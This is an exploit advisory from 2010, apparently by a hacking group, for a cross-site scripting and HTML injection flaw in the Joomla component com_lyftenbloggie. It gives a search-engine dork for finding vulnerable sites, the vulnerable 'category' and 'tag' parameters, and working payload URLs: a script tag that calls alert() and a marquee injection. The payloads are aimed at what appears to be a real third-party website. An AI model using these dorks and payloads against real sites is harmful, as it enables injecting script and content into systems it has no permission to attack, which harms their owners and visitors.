Joomla Lyftenbloggie Cross Site Scripting

`  
####################################################################  
# Joomla Component (com_lyftenbloggie) XSS/HTML Vulnerability #  
####################################################################  
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
______ __   
/\ _ \ /\ \ __   
\ \ \L\ \ ____\ \ \___ /\_\ __ __ __ ___ __   
\ \ __ \ /',__\\ \ _ `\/\ \/\ \/\ \ /'__`\ /' _ `\ /'__`\   
\ \ \/\ \/\__, `\\ \ \ \ \ \ \ \ \_\ \/\ \L\.\_/\ \/\ \/\ __/   
\ \_\ \_\/\____/ \ \_\ \_\ \_\/`____ \ \__/.\_\ \_\ \_\ \____\  
\/_/\/_/\/___/ \/_/\/_/\/_/`/___/> \/__/\/_/\/_/\/_/\/____/  
/\___/   
\/__/   
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=  
####################################################################  
# Name: Joomla Component (com_lyftenbloggie) XSS/HTML Vulnerability  
  
# Vendor: http://www.lyften.com/products/lyften-bloggie.html  
  
# Date: 2010-12-16  
  
# Author: Ashiyane Digital Security Team  
  
# Contact: XroGuE ~> Xrogue_p3rsi4n_hack3r[at]Hotmail[Dot]com  
  
# Home: www.Ashiyane.org/forums/   
  
# Gr33tz: Behrooz_Ice,Virangar,And All Ashiyane Members !  
  
####################################################################  
  
[+] Dork: inurl:"index.php?option=com_lyftenbloggie"  
  
####################################################################  
  
[+] vuln: http://127.0.0.1/index.php?option=com_lyftenbloggie&category=[XSS/HTML]  
[+] vuln: http://127.0.0.1/index.php?option=com_lyftenbloggie&tag=[XSS/HTML]  
  
  
[+] XSS: http://www.nastel.com/index.php?option=com_lyftenbloggie&tag=<script>var XroG= String.fromCharCode(88, 114, 111, 71, 117, 69);alert(XroG)</script>  
  
  
[+] HTML: http://www.nastel.com/index.php?option=com_lyftenbloggie&tag=<marquee><font color=Blue size=15>XroGuE</font></marquee>  
  
####################################################################  
  
  
`